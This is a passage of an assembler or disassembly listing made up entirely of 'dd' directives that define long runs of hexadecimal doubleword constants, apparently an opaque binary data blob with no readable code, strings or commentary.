		dd 8C5A9C15h, 0F0C0023h, 72DC6052h, 0CD3A6CB7h,	59DE9DBDh
		dd 0D7782480h, 29A42DFh, 7713960h, 9C40C647h, 2706FA45h
		dd 0C20E1738h, 9D233972h, 46ACBF00h, 24E31A5h, 98C5B000h
		dd 0E449F22Fh, 8A5303D3h, 0A772F5F9h, 0FFDF5AF8h, 16BD1200h
		dd 57ED23CAh, 0F28809CCh, 0BE806EE1h, 2FF910B8h, 0B1B92C03h
		dd 0E0932429h, 98A86CD2h, 8EC1006Bh, 0AE76DC85h, 0CA3E47DBh
		dd 58D980DFh, 0BAC52860h, 0E7D70181h, 0C05B655Dh, 92B220B6h
		dd 59B0FF00h, 82A98CFAh, 0F9A30091h, 5E137E70h,	8E00A8C2h
		dd 0B19BF520h, 1E1719h,	0C30EAFC9h, 0FE64EB88h,	0B70C3000h
		dd 313BBD47h, 0BF840013h, 1CCA014Fh, 81486223h,	61C800F3h
		dd 5CDC342Eh, 947F0037h, 1B45FF26h, 0AB00B040h,	301A0C33h
		dd 2A084F04h, 0BC7A9Bh,	0D6E82120h, 98AF4BCEh, 5812D70Fh
		dd 402D806Ah, 0D96548h,	0E4569E0h, 0C6E63B64h, 0ACA9800Bh
		dd 0AF0100DFh, 5857FDh,	23F613C9h, 89AE5A87h, 9500AAFAh
		dd 8F497867h, 4F06D6h, 112E6DF6h, 0D73C58D1h, 0A9C4361Fh
		dd 5E415984h, 76ABB080h, 6B98031Ch, 0A8244D23h,	11026598h
		dd 46CC610Fh, 191B20FFh, 486CD1D4h, 0EF07A0F9h,	6075CD64h
		dd 0C4BE7C41h, 8900C172h, 117F71BAh, 0BF867Eh, 16DB342Bh
		dd 41433188h, 0FF3B0A00h, 47D75F0h, 24690317h, 1036BAEh
		dd 0F4764AD8h, 9C004972h, 0E426CB5h, 0A4AD43h, 5D91344Bh
		dd 0F366F05h, 76F7C101h, 635BE2D5h, 8ECD70h, 0B964DE58h
		dd 384571FAh, 12005AE0h, 0A0A6346Ch, 0C22FA5h, 737D868Dh
		dd 0E9700451h, 0D22691E4h, 7817E849h, 6DACB300h, 4BBAA7h
		dd 0C0EA56ABh, 0AF74CA7Ch, 55D2738h, 0BD017BEFh, 0C0A813C2h
		dd 0F83C51h, 92818AADh,	2BC56F06h, 17013279h, 0AAD0BDE4h
		dd 6EC8CCB0h, 0C77D00EEh, 7E07C54Eh, 0A0004B26h, 0F4E712FCh
		dd 9036ACCBh, 0CA840384h, 79B31556h, 78E94DF0h,	0C582F41Eh
		dd 1F4BF500h, 0FAD16F37h, 8AC001Ch, 0EC0C068Fh,	40C0F8B4h
		dd 0B08D54DDh, 6DF4007Fh, 825BDF90h, 0F0017ABDh, 56D59A77h
		dd 45C8868Bh, 0C7FC008Dh, 0DA1622BCh, 0F1008C92h, 122CBFF8h
		dd 93790D8h, 0F9B4CD1Bh, 241EA403h, 0C10CC6C8h,	0DCD6023Fh
		dd 998203A6h, 0D86CE62Eh, 746E16h, 3CEDB5EEh, 452383AFh
		dd 0FED28C00h, 77C05148h, 0EFA000F9h, 0D50AB18Fh, 960FC1BFh
		dd 20129BD2h, 0D38F667h, 339700A2h, 9E6A51E5h, 0AE093596h
		dd 3AE901h, 671E5358h, 7649859h, 0DD417B54h, 0FDE7A049h
		dd 9F079C50h, 6BE040C0h, 701776F1h, 1DA47F0h, 5D13BC53h
		dd 207302DFh, 480010B0h, 4A83822Ch, 3B5246BDh, 8781AE19h
		dd 0FA7B264Bh, 61A960F0h, 95995F00h, 370C85CCh,	678A004Eh
		dd 0D88BEE83h, 39029E55h
		dd 509A1C93h, 3F38C0B6h, 518E0094h, 0F7B8AD23h,	6700DC17h
		dd 0D45DD27Dh, 0CE49FAh, 0C3E99831h, 6588033Dh,	0FD586C02h
		dd 0E1CDC24Ch, 20C828C2h, 83D600B1h, 467A75D3h,	0B2000DDAh
		dd 9F3DF2C8h, 3BA07C51h, 2E805028h, 6683C4E5h, 0FD013E21h
		dd 0AC97D013h, 4CD0EB07h, 195400D2h, 8F26B30Eh,	0BCB0CBC6h
		dd 80DD5139h, 9DE7A8A5h, 120A8306h, 0A40EF9h, 327A4CD1h
		dd 4A0079F2h, 0E8A0EFDAh, 0F450E7h, 0D5477FEh, 0BE2821A5h
		dd 4D808F00h, 0ED706C13h, 5BFE00AEh, 9F5DF050h,	4207C29Bh
		dd 0CA253CF1h, 5FC6A12Fh, 0F540F359h, 0B6DC55h,	0C8C40FAh
		dd 0E58B91EEh, 30764300h, 758ECE85h, 0DB35002Ch, 32EE42D7h
		dd 0BA70C8C2h, 0E00E576h, 0FBE79ED4h, 0CD245Fh,	8A85B617h
		dd 1989C176h, 8002EC3Eh, 0D4481F10h, 0EC6B80DBh, 0C2782ED5h
		dd 0E73200B2h, 3FD67BE4h, 0B5DB0502h, 606CA320h, 0BD1347h
		dd 3D69AD56h, 1CD25A12h, 31AE3B30h, 0FA147CC6h,	1134BA02h
		dd 154A04h, 0CA82BBC3h,	1ED6A4E2h, 0BC934Ch, 3BED758Bh
		dd 5600B110h, 0F53ADF2Ah, 3FD3BEEBh, 0F11CB7A8h, 9914454Ch
		dd 4B600B1h, 0A30A4278h, 0F7A19A05h, 508390ADh,	0CE4C80FDh
		dd 0ED22001Fh, 4B0DF260h, 340219C2h, 94A60939h,	0D05ED3h
		dd 25517E87h, 960442ECh, 4722F6EFh, 0A8C5DF80h,	0F7EE0317h
		dd 7267C17Bh, 443DA0E0h, 0AFF0507Eh, 8512CB07h,	0EB871E6Ch
		dd 639C4C92h, 0C0048842h, 0D76D007Ah, 6842AD5Eh, 61781F9Ah
		dd 0EDB97F01h, 8CFC3883h, 1382FAE4h, 3063D940h,	39B6E91Ch
		dd 2C2AE126h, 0BC164B00h, 0FC6AF37Bh, 78A5005Dh, 4370EDE4h
		dd 0E53D0371h, 2E00FAF2h, 679162CFh, 0C0519B7Eh, 58608911h
		dd 69005609h, 0E792778h, 0E4D40C3Bh, 0CB6B074Ah, 0D04C83C0h
		dd 42E80F5Eh, 0A168D800h, 15AF53Bh, 72EB3873h, 33C74401h
		dd 80C5B91Ch, 847AD058h, 1700BF5h, 72FD772Dh, 85B1142Bh
		dd 0E12FD621h, 0DC8FBB80h, 1FCB1C44h, 5CD380B6h, 87454B28h
		dd 22165D14h, 49FD00C4h, 9E991D83h, 2DF292h, 0F457D35h
		dd 0A9E42CC3h, 0F7838A06h, 1614459h, 0D73F939Dh, 0D8BCE92Fh
		dd 0B39050DCh, 81186300h, 1E2015F3h, 680D00C7h,	0DDD986BDh
		dd 801E8534h, 8440B8B6h, 0B3783771h, 1335002Eh,	8CCF012Ch
		dd 0BFF41E2Fh, 691211ECh, 9600ED66h, 0C30B32A7h, 0F8350193h
		dd 0A05D8097h, 9F8BD0BDh, 1A3F3404h, 0F4C16910h, 0FDC03DA8h
		dd 3310ABCh, 0FD270Fh, 2C5B4EF8h, 0CF6DC5Ch, 0B73A3300h
		dd 0AFDB907Dh, 81C03DFCh, 0E4517480h, 4FF66AC1h, 3DB80203h
		dd 0CEF2F023h, 22590060h, 872E292Bh, 934C339Dh,	0C48A0FDCh
		dd 78062060h, 3DA49BBAh, 78583C95h, 45DDA507h, 0E6BDF1C8h
		dd 3AD4F868h, 0B982D509h, 0DEDC00E0h, 103E03h, 7C7415FCh
		dd 558EA904h, 69131A00h, 8AB40771h, 0BE180253h,	53C5493h
		dd 0AC664C40h, 0BD8FAF00h, 9DB0992Eh, 0B3870035h, 8B15F2Ch
		dd 0F1005939h, 7FEBDE4Bh, 0A2772F67h, 0C08240F1h, 2E0700CDh
		dd 51193788h, 0C5004B69h, 0C70A051Ch, 0A3EB98h,	28406013h
		dd 0D55B065Ah, 0E8817F00h, 462A700Ah, 0AB9E2789h, 0F75E81E0h
		dd 7FA24F00h, 611D2C73h, 0A9A000DAh, 84FA1A85h,	0A50FC22Eh
		dd 638DEB4Eh, 93246AB7h, 729DF0A1h, 7DB6003Bh, 21AB4413h
		dd 0E1032092h, 9C4BDC97h, 0CE61C8BBh, 0FC470162h, 117AF994h
		dd 7C43CAEBh, 7B6ED8C0h, 0AD134000h, 3A96A1AEh,	5030C1F9h
		dd 0F4CB78D9h, 493059CCh, 8B309814h, 0E39C0183h, 0DF0F67AAh
		dd 98188017h, 0BD348E77h, 0D4F4A8h, 2C6663E2h, 0DBCE7BE1h
		dd 3168A100h, 4F5BA07Ah, 3D97981h, 3926ADA8h, 0D80088EEh
		dd 0D20EC30Ch, 848BF8h,	57D36B7Fh, 92C1FDA0h, 0DC221900h
		dd 0A3954436h, 7EFFCE5h, 0F93FB5E9h, 10E28781h,	428667AEh
		dd 1F005EF0h, 608A35B0h, 77D7E071h, 9AEC00AFh, 2C20D85Ch
		dd 120E95EBh, 0E2B6867Eh, 0C0D2E439h, 0F3DCCh, 1CD78EA4h
		dd 989E7559h, 0E8087E00h, 0B03EE9BAh, 8C680E39h, 0A7C0EB66h
		dd 1ACC430Dh, 4A89A300h, 71DAC993h, 0C25FECBh, 7ED1EF78h
		dd 63036120h, 312AE429h, 0C8EA934Ah, 482643F1h,	6C8BB42Ch
		dd 0E7A39587h, 803424A4h, 6106012Fh, 3D10E204h,	8C76CCFh
		dd 674B0410h, 106D6065h, 0D25B19BAh, 9BBF0904h,	5CF0D9B8h
		dd 0CC4B86Fh, 0ABD61C78h, 904BDD0h, 28E0D21Eh, 0F5CC80EBh
		dd 1401CB12h, 65A8E28Ch, 0CC4005EDh, 0A0A5BC68h, 1BE94h
		dd 0BA0278EEh, 2FC3FE45h, 6E244D00h, 530AAB36h,	1C27231h
		dd 0B18E03A6h, 0F8344804h, 2A003970h, 4B9B533Ch, 4CA986BCh
		dd 4B9F9494h, 11009FE7h, 0B8215BD7h, 943C3F00h,	7FF8F31Eh
		dd 531B0043h, 7458E561h, 0A90091D4h, 8A4996E0h,	0E0B9952Ah
		dd 342E091Ch, 6440467Eh, 0D1808167h, 0A76405E7h, 0C3B0767Ch
		dd 0A0E0DDD8h, 921BD97Eh, 0C0286647h, 0C19B7Ch,	6762C275h
		dd 0B5D9B41Ch, 6DDAFB00h, 0C4F65AEBh, 0A340C0B2h, 0D2F415DBh
		dd 540AA900h, 0D95B7386h, 1343DEFh, 161BBD8Ah, 87B10FF4h
		dd 0F67107A3h, 46EE4E97h, 0B70E8020h, 0E9005F88h, 76A04124h
		dd 38B51E5h, 8DF899E4h,	46F0ED16h, 0C0031DFBh, 6B5EC871h
		dd 0E8A1F8D2h, 8A54C9Eh, 78D6E20Ch, 0D5006CB0h,	0C7A4CCCFh
		dd 0AAD18Dh, 0CD46AE34h, 1F861954h, 817E6600h, 0F955BD0Eh
		dd 76E2B0h, 99E1D806h, 0DACB01BBh, 2D6AAC00h, 433C205Fh
		dd 0A0340F5Ah, 6CA2E923h, 7E013BDh, 0AC909D14h,	1B075500h
		dd 2219326h, 0E98CA0CDh, 1DC6F415h, 9B53382h, 3E02BF66h
		dd 4DC32B50h, 765108E8h, 0AD95CC00h, 7EFF0631h,	9D6617EDh
		dd 3C6B0165h, 0DCFA6F2Bh, 9B006398h, 34216D5Eh,	0F8FC2ECh
		dd 5A091A35h, 0B544E020h, 87F6829Eh, 4F6D8B00h,	112CCEE4h
		dd 2D1FA61h, 3AB11627h,	0F080ECEEh, 0D6BD1748h,	9D309900h
		dd 0E5498EAh, 0EC570C36h, 0AD3863C6h, 0F15FD900h, 609D9212h
		dd 0BC4607AAh, 58A58h, 7016FFB2h, 78355B00h, 18A44F38h
		dd 0B0EC0045h, 132C1F0Ah, 6BB86F27h, 0B2F35902h, 48680CE0h
		dd 73DE98h, 349D1058h, 0E229270Dh, 2B015C7Eh, 0A7A45496h
		dd 6AE40947h, 0CD780120h, 5FDC7FD1h, 7951D4D2h,	5E56C400h
		dd 84DAF91Eh, 0EE2302A1h, 0BBAE5F94h, 603D4D2h,	66F91C83h
		dd 0F28ED0AAh, 24FD1642h, 0E498032Dh, 113E446Ch, 6AF080D2h
		dd 6F80FB4Dh, 918D00C5h, 1C98ADE0h, 0AF001D1Fh,	9AA2EF66h
		dd 570437h, 1BE3E1CFh, 70E0F311h, 0BDFD248h, 80714FC5h
		dd 761AF0F9h, 0E98300FDh, 0BA28AED7h, 7200A502h, 91EA3627h
		dd 6E9831h, 23C3B9EEh, 44743769h, 3827C61Ch, 36AC5246h
		dd 1F550048h, 0BD3220E2h, 762CB2BEh, 0DB030298h, 0D842C87Bh
		dd 0B0B97C64h, 62A20083h, 0C0B13C3Eh, 4E28E5E1h, 291FBE32h
		dd 9549549Bh, 0A8B0E041h, 6F8F504h, 92333C1Eh, 7EF43103h
		dd 0F5C15C17h, 0C539809Ch, 0E294CFB9h, 1DEE032h, 9A122068h
		dd 0BF2D0561h, 73E8069h, 26E875B6h, 70DE00EDh, 3F195245h
		dd 0AC09F76Fh, 0E83934FAh, 9FA04Ch, 31F94179h, 486D0235h
		dd 0EAF6570Eh, 0D043A5E0h, 6880C784h, 960FD81Ch, 0F58D00E4h
		dd 460C5421h, 0BA14FE00h, 0D23DCF0Bh, 0C54D0098h, 55CC47E9h
		dd 7D00F24Fh, 4BFB8CF4h, 2276DDh, 2953CF87h, 0D51057B0h
		dd 0E204E3FCh, 0A5A341F7h, 71DC4488h, 6EC90097h, 0CCC4357Ch
		dd 760FB9B0h, 25A63Eh
		dd 0E9ECAF5Fh, 0B5420062h, 0AA90C169h, 671753E1h, 0AF00D935h
		dd 0D30F3439h, 0A40A006Bh, 8D45B238h, 330E7A6Fh, 0BED59EA5h
		dd 0CD599D40h, 78EB8B1h, 71F5DE4Fh, 0FD3310DBh,	0BB013952h
		dd 85C20B4Ah, 0F880536Eh, 0FC388AD6h, 67E3B7Fh,	0A64ED239h
		dd 2F000EEAh, 0C26689B2h, 0F7993DF6h, 0EFF50F80h, 0D7038060h
		dd 313C4400h, 0AA1C3E13h, 0B6E30062h, 0A7154989h, 9001FAEh
		dd 94B8F823h, 3FC2FDAh,	0A43D7493h, 859C8F78h, 3544005Eh
		dd 43D0597Eh, 80D76E38h, 6518507Dh, 0B0DF153Bh,	7F6F1EDAh
		dd 82A40768h, 8D0530D2h, 3700C1C7h, 0EFA161B9h,	95C9D9h
		dd 72DC01FFh, 621A1052h, 32A7A507h, 0BBD0BCDFh,	0E4563E3h
		dd 93A19C6h, 0AE950400h, 3800339Eh, 0E7F1FCF5h,	63C4A96Fh
		dd 8BE110EAh, 92FD74C0h, 0A8396801h, 7D592A67h,	42F878E5h
		dd 0A957008Ch, 0F8FE03ABh, 6600B2D5h, 0BFC2EDB4h, 0CBC9086h
		dd 270B7614h, 8E000150h, 78933C04h, 0F86D92F8h,	15D0002Dh
		dd 51BDEE5Fh, 283CBEF0h, 0C6A40039h, 4F33C09Bh,	0A7AF0EB6h
		dd 0C8800992h, 2CBE7D43h, 6A26D000h, 0C35D44FEh, 0F9A30099h
		dd 9041CE8Fh, 30073EFDh, 9A5EA0AFh, 0C04DF002h,	108B228h
		dd 0CC450999h, 0ECC99F7Bh, 0F51C5CB7h, 6A4383ACh, 0C9EADDCBh
		dd 4C30A01Ah, 80CC0131h, 0A6674C40h, 0B7E0C89Fh, 0B299800h
		dd 23CD41FFh, 3AE10F3Dh, 0C9A0F85Fh, 0DE406716h, 59BCD800h
		dd 0C1037F36h, 51613ACCh, 0C7E25B03h, 6C80B94h,	8734CD17h
		dd 9440989Eh, 0BC01FB77h, 0A5AA009Ah, 124D37FFh, 4939C56Eh
		dd 32D20302h, 0B82D75D8h, 269FE0CFh, 2D0B6B9h, 4FF70199h
		dd 0F49574A0h, 0BB0188F1h, 8AF6E332h, 608055A0h, 3BBE840Fh
		dd 3F006894h, 8C317DD3h, 7AB9F4CEh, 533503A9h, 4F51720Ch
		dd 0F65C3690h, 0C9B5FC00h, 473B7C28h, 0C65800EAh, 3D3184BEh
		dd 0DC785E81h, 0DC078828h, 681B5732h, 658C802Ch, 9876635h
		dd 934B0469h, 0D82DDC90h, 2C98DD00h, 70D15FE4h,	82A3010Ah
		dd 323A9373h, 2A3470EBh, 70CB83Eh, 0FC1B84A8h, 61059130h
		dd 0FAF60010h, 438AC03Dh, 6C0E6817h, 40BB492Fh,	9F12A1Ah
		dd 87D01C1h, 0D836EDEAh, 4F44D093h, 22D29B00h, 6DE2907Fh
		dd 122400C4h, 0B885F4D0h, 0B4001FCEh, 0F0EB528Fh, 1144A40h
		dd 6B718343h, 0E20ABD1Ah, 8FFFCE40h, 0E700B1F8h, 0DAFC7CEh
		dd 634569Ch, 200A757Ah,	8F048037h, 0B7B63E07h, 0B3CDFBC0h
		dd 79E0006Bh, 5F8142CBh, 28C0681Ch, 8DE5B805h, 6F5C00D7h
		dd 7FB32825h, 390CBED1h, 0C0A3AE54h, 0AC190057h, 0FF3C107Bh
		dd 0CB078291h, 0FD38BED9h, 0F890CDE2h, 0E1990050h, 6B4E81C1h
		dd 1A070D3Fh, 38703628h, 0E0051692h, 3A8F07h, 4FE5E493h
		dd 67CD044Bh, 15506301h, 0EB52420h, 3EC52880h, 0AAA1A031h
		dd 8078FF38h, 0E133859Bh, 0E9F48D2h, 519DE025h,	47BD9180h
		dd 0D800373Ah, 520BB1EFh, 5E0741Ah, 9EF3FF23h, 0ECA9D0F2h
		dd 8132863h, 0C935801h,	94383939h, 6C6FA200h, 742EAC78h
		dd 0BE1DED07h, 0A0102C2Fh, 0B0C75F61h, 5B9D00DEh, 0F5E88995h
		dd 17000948h, 4619DE3Eh, 78FE28h, 5A7A44BDh, 3D9774F3h
		dd 18DB9500h, 506DA8AFh, 0CD03001Ch, 9EEA1EFh, 0B7F2EBE0h
		dd 2F0036FCh, 3C165E24h, 0B07ED13Dh, 900C739Eh,	0BC6000E2h
		dd 0D7FEB4D3h, 852FF5BAh, 9CD4E0EDh, 5D5BC0h, 9B5EA14h
		dd 5200A37Eh, 71F862C2h, 25FEA51Fh, 6C82C490h, 1881FAE5h
		dd 0E81161B6h, 1009108h, 53B0EAA4h, 0EEED9809h,	45CA01E9h
		dd 788D859Ch, 154020DAh, 0B3C89E0Eh, 40C0BC46h,	4E36697Dh
		dd 32F600CCh, 2681680Dh, 0A900FF0Eh, 0A2EE665Ah, 3E36D7D0h
		dd 0CB1D3A43h, 0E6BE4062h, 0F5463E51h, 0D2EE790Ch, 68B01Eh
		dd 0BE808FC1h, 18822D7Bh, 9000A0BAh, 0F56F9AA5h, 33A21475h
		dd 9B8B2F3h, 0CA2490EFh, 9F0378CDh, 7BA1306Bh, 0CB69D0CEh
		dd 0A7D00B96h, 0C819C04h, 25C3C0B7h, 0EB6AE0B4h, 0D0F7ACA0h
		dd 0B49FE4B9h, 8A8392C0h, 0C0C67B65h, 12FA62E4h, 7500C961h
		dd 0F97DD9FBh, 0C0CAD84Bh, 0C70DB119h, 0D2004C6Eh, 473576A5h
		dd 26F5A9h, 9B77AB56h, 7CF13E4Ah, 5898BD00h, 898CBF6Dh
		dd 6CF400EDh, 736B5E31h, 0BE000651h, 0D9012295h, 1EE85C4Eh
		dd 0C0D7DE12h, 0A9544837h, 7B0041CAh, 2474A5CCh, 1E8EBF68h
		dd 8765C242h, 504A72BAh, 0CA0DFB4Eh, 43EA9D00h,	0AF258F12h
		dd 0ADC80183h, 1A4561B4h, 0BF09DC52h, 9C17F673h, 7600BD7Dh
		dd 11C04DD9h, 0E1014C32h, 8B826300h, 0ACA59EA4h, 560025ECh
		dd 0AED60FFDh, 1C4A87Ch, 0EB75DF0Ah, 2861AD43h,	53401C34h
		dd 708DE887h, 0C4A7F910h, 0B52C0337h, 0F891A4AEh, 0D6F8979Bh
		dd 307CC54Eh, 38058900h, 0A6DC4659h, 1036007Ah,	1D19D266h
		dd 627C45A1h, 0F900C490h, 0A5C65954h, 0C04F3Eh,	0AD227DCFh
		dd 0D64938A2h, 34AAD500h, 434B659Ch, 0C3393B08h, 0BAE12C00h
		dd 95C8054Eh, 0F75EA905h, 0ACD0B98Ch, 62CFDBh, 0D22AB80Ch
		dd 754F121Dh, 4D02900h,	0F838B18Eh, 0F6F100CDh,	693B3FC7h
		dd 0B6134C6Dh, 880037F4h, 0B1053375h, 2210294h,	0E9591CAAh
		dd 0A90E9DE0h, 0AE042600h, 0DE5EE751h, 705B03E4h, 0B8B995D3h
		dd 0BAD9F398h, 312A7C90h, 0AC00902Ah, 0AB58DD63h, 0C8D80B0h
		dd 37899CD5h, 0A2714D29h, 44817700h, 11EFD210h,	5B90161h
		dd 6FA6DECFh, 0EDF03A34h, 282000DFh, 9BC97016h,	0BD3CC461h
		dd 88E40041h, 49836EE9h, 0BFB007F9h, 27393F96h,	0C7CFB081h
		dd 94FAA79Eh, 1E8A3B03h, 0E1F7F56Ch, 48D0BBE5h,	667B01DCh
		dd 362F9A24h, 8DCC40DFh, 0EA077518h, 7C134AF1h,	11C02E27h
		dd 1E953Eh, 0BFF71972h,	0CFD6E110h, 674D8400h, 76DE029h
		dd 4C8100C9h, 63E22C66h, 0E9083439h, 5DA435Eh, 80A52598h
		dd 52E89A2h, 0EC0050B4h, 0E09E37CBh, 13CF5A7Ah,	4764C0F8h
		dd 5E0C52FDh, 8020B7B0h, 7A251E41h, 9FF040CEh, 0F78CD0EBh
		dd 6B72FA00h, 5E489DD6h, 48DD4C03h, 797D0078h, 4384FEC3h
		dd 0A91FAC26h, 7B011E5Dh, 0DB4B32A1h, 0F78DFCh,	0A5DACD7Eh
		dd 3B7D056Ch, 20F94300h, 0E02FDCD3h, 0FC0D00E7h, 0AF803F65h
		dd 17072810h, 0DD8BB970h, 0B9F3EFFh, 16963141h,	0B7ECF059h
		dd 0C37000AEh, 0F98367AAh, 650249C0h, 3C828B3Ah, 0E4E480EBh
		dd 19FE32A8h, 58A41463h, 0A618F2EAh, 156D00BAh,	7FA981E9h
		dd 0D1301F32h, 0ADE211B8h, 31E7397h, 8CB5EE37h,	9AD8028Ah
		dd 5B0119F9h, 9B870CD4h, 0CCE02945h, 0B3DC0055h, 80021C74h
		dd 390346A9h, 410D1E01h, 91C4A826h, 78409551h, 4F018338h
		dd 0C87276F4h, 1981456Dh, 9493A62Ch, 47D9D0EEh,	2E36D800h
		dd 0F9904CFFh, 0A005071Ah, 7062C3B2h, 0AEFC137Eh, 5B182D00h
		dd 34F17755h, 89443F7Bh, 6F94C606h, 1703F0E7h, 0D68B9559h
		dd 0AD3080F3h, 22C90523h, 0A0CCEE6Eh, 65001C04h, 111E937Fh
		dd 0E680B60Bh, 16F0014Dh, 3BB06CA3h, 0A97920EFh, 7A084900h
		dd 0FA037CF2h, 0D48D3B96h, 1C4BC32Eh, 803D929Dh, 0C858DA21h
		dd 0CCAF1E06h, 7DE0A0E1h, 490908Ch, 9001709Ah, 681CC347h
		dd 53A581Eh, 2678D9CCh,	0B0275A38h, 5702E039h, 0ED1346C8h
		dd 960C406Bh, 396C00DAh, 861F7ED6h, 1A005C8Eh, 5F1D3190h
		dd 3B060DDEh, 3C00F83Dh, 0B6DF47Ch, 1000C953h, 20B2BF7Dh
		dd 9E19A56h, 600F5ABDh,	0DEA41480h, 0B00652B7h,	0B9CFE34Fh
		dd 0DCB60EB0h, 81800924h
		dd 0A3ECE7BCh, 836FB40Bh, 980020B1h, 308B55h, 7F4CA40h
		dd 0E79D7815h, 444BA600h, 1A72A187h, 0C1EF0F2Bh, 33E0E19Fh
		dd 0B3B0E59h, 74FAF8E1h, 2DC9EA00h, 0DC8AABF6h,	99FE0029h
		dd 48B73A75h, 5A60D720h, 42F03148h, 67B202E5h, 8CE69101h
		dd 0B1802C5Eh, 80DB75B8h, 16A72F3h, 0B478C481h,	0DB693993h
		dd 5FB51D0h, 0AEA01960h, 1F17BF2h, 7679B09Fh, 82CCE07Fh
		dd 95CB6229h, 3690C0CAh, 9FD100BEh, 826FD925h, 0C0A05A66h
		dd 0B500DDBAh, 503D77FBh, 0E451858h, 5F29C3B7h,	1D7AAD20h
		dd 3700BBF3h, 705AB1FEh, 805985h, 15580D26h, 0F51EF471h
		dd 9EDFA900h, 2D651B9Fh, 0F28A1F45h, 6862E5FBh,	3931DE40h
		dd 560050B8h, 0DF46DCAEh, 1FEE137h, 0A37C3D7Bh,	3EDA52ACh
		dd 687F144Ch, 328438CCh, 8025089Eh, 443E462Ch, 5B0011B8h
		dd 7226A183h, 5095D4h, 0C148DC80h, 518A4310h, 0F2D7E13Eh
		dd 7D2C2F12h, 402E9CF5h, 9D623BA4h, 970350DAh, 6BF675BAh
		dd 2DE490E6h, 9C241E1Ch, 0B2FD8082h, 9FD9112Bh,	0B0D08D60h
		dd 6CBBD6h, 0A98C0814h,	0C617847Eh, 0C9D94C13h,	0AB0D047h
		dd 0D47A6F91h, 7F3D1080h, 11E160F1h, 324ADB00h,	0C099272Dh
		dd 4268280Dh, 8E79009Fh, 0CF96FFF6h, 650081F4h,	9E528FA9h
		dd 0E4A3DC7Ah, 0B83C0042h, 96DD014Bh, 0D0B0027Bh, 0F59BA404h
		dd 0A0E82620h, 0D3241D38h, 3E750384h, 0D0E87104h, 1E1D0638h
		dd 0AD8F4DF1h, 2F0AB8Ah, 7C0E1630h, 9DD10058h, 0A3A122DBh
		dd 0E23EB50Ch, 5C4CE0E1h, 29C1F803h, 30A7611Eh,	130E4E96h
		dd 400E516Dh, 0B01CB558h, 3F93008Bh, 11D19E44h,	0A6004E62h
		dd 51D8E194h, 2BD333h, 0C7261598h, 22610706h, 0EFE38800h
		dd 0E944BA9Ch, 0EC68288Ch, 84E200B2h, 9FBEEB21h, 550EEE08h
		dd 0A083C807h, 20BE8A3h, 65A0A8BCh, 0D763002Eh,	77888E19h
		dd 7000582Ah, 28F961A0h, 37E9D4h, 0FA4A826Ch, 0C9EE190Ch
		dd 47217F1Ch, 1C9F35C1h, 0B878E603h, 0DC065100h, 6864B18Fh
		dd 0EBC5DF00h, 101B1ACCh, 38BF03F4h, 0C9FAD53h,	0E1E056FBh
		dd 3D325246h, 82312998h, 4CF9DFB4h, 4BF20008h, 4DEA155Ah
		dd 0FA00CC14h, 0ACDDC07Dh, 20A177h, 8CBDA9D2h, 0B990E907h
		dd 0C5FA80C0h, 6E798Eh,	0C851F1C3h, 0DB347C1Bh,	520F864h
		dd 4AF374B1h, 44744C78h, 0F302A2F8h, 0BB77913Bh, 6D4E4B1h
		dd 869A0A31h, 0EF004044h, 0A03F9CA2h, 948DBDh, 1FEEA5DEh
		dd 2FD2AE01h, 0EB203403h, 0F9529774h, 382C0BDAh, 0B0FA1F80h
		dd 48E88693h, 762E2707h, 6EE07FE2h, 18E0C7F6h, 68323F4Bh
		dd 8AF65999h, 9A7DA10Bh, 6454A0CEh, 1BF71Dh, 72DB3697h
		dd 547BD406h, 2F610C01h, 0D84904ACh, 0C0B3C2D0h, 6EB72D79h
		dd 7CB08DC5h, 0A83B0F00h, 0CE0DF057h, 0D82C0F87h, 0A2802611h
		dd 3CE8A66Dh, 0F816744Bh, 63F9EC0Eh, 0CF3AF411h, 0D93E7E41h
		dd 0DF5C1C2Ah, 26BC2ECEh, 66A1B020h, 0C1004019h, 5FE7D671h
		dd 3BB21E67h, 0EA00749Fh, 64D37EC2h, 0A101B612h, 478A87BDh
		dd 2CE30827h, 1268CB41h, 430040E4h, 56A35F8h, 0F90E7505h
		dd 54B0A16Ch, 1DFAB3h, 3D299ACEh, 19510901h, 50656B5Ch
		dd 8B003FA0h, 60BE1DE6h, 52662A65h, 0E4C0A4A0h,	2C00658h
		dd 0BDCC9001h, 8B7EE811h, 5846030h, 0E1A91CDh, 68C801DEh
		dd 207D5D37h, 0C3094F14h, 72D1D526h, 1B091044h,	296D0059h
		dd 1470C642h, 0E4989Dh,	0FE02CBA7h, 35AA6365h, 0EB1CAC98h
		dd 5B80AE90h, 1DD27595h, 0C342031Fh, 0F91BBD73h, 40E961C8h
		dd 7AA7DF07h, 7940503Fh, 4E0C1126h, 7610A855h, 605DD200h
		dd 9E402D24h, 0ECC1486Eh, 76510A0Fh, 36F44E20h,	1D3BCE8Bh
		dd 20F680FBh, 0E2580BAh, 0F5B0C967h, 0B824AC80h, 8B013A37h
		dd 3E07DEA7h, 4430E647h, 5FD21C7Eh, 0D498004Ah,	61A73B7Dh
		dd 0C87DEA7Ch, 72B8CB58h, 0D9426D00h, 228C38A9h, 2AC0A013h
		dd 99E9009Eh, 0CB44E38Ah, 0D600A0B6h, 40965AD9h, 4C24868h
		dd 0C60B041Bh, 0A5E480C3h, 0F701D3E7h, 1F9CBCDh, 5420EE39h
		dd 47D00F0Bh, 65A09C6Ah, 0EA6C6983h, 0B0004B4Fh, 0FD54B00Dh
		dd 50C24813h, 2958C3B0h, 22262B07h, 9E00A7D6h, 1E7B919h
		dd 0C7A88E0Bh, 819237FDh, 78324080h, 8C705D87h,	0B9B41E5Eh
		dd 96CF0084h, 981E03FFh, 66DFBC01h, 0A0C29B7Eh,	2DE02425h
		dd 3F2800E6h, 4F07334Ch, 0F5737917h, 2612C700h,	0F9FE3D27h
		dd 0E2DF0070h, 9E1D103Eh, 8A015FD9h, 1B0E3C38h,	0EFF9372Fh
		dd 0AE8E841h, 71F1D034h, 7DF5A49h, 4109858h, 0C26090ADh
		dd 87028EF8h, 266CB44Ah, 79486875h, 0F98B239h, 74D28AE7h
		dd 30386A29h, 0F090A020h, 0C0282F2Ch, 74D4D171h, 89B300FAh
		dd 1ADBB87Fh, 51507185h, 2600C094h, 0ADF5EA14h,	0DF60Fh
		dd 6667D407h, 12893E2Ah, 38C5BF04h, 9C81F0EDh, 0B8881F4Bh
		dd 2B06CCCFh, 5C58C429h, 0FE0008EDh, 0A19A7E04h, 0DB03BE61h
		dd 6A685517h, 10E0A7B0h, 0FED5F2E5h, 2716283Fh,	58D4C0A4h
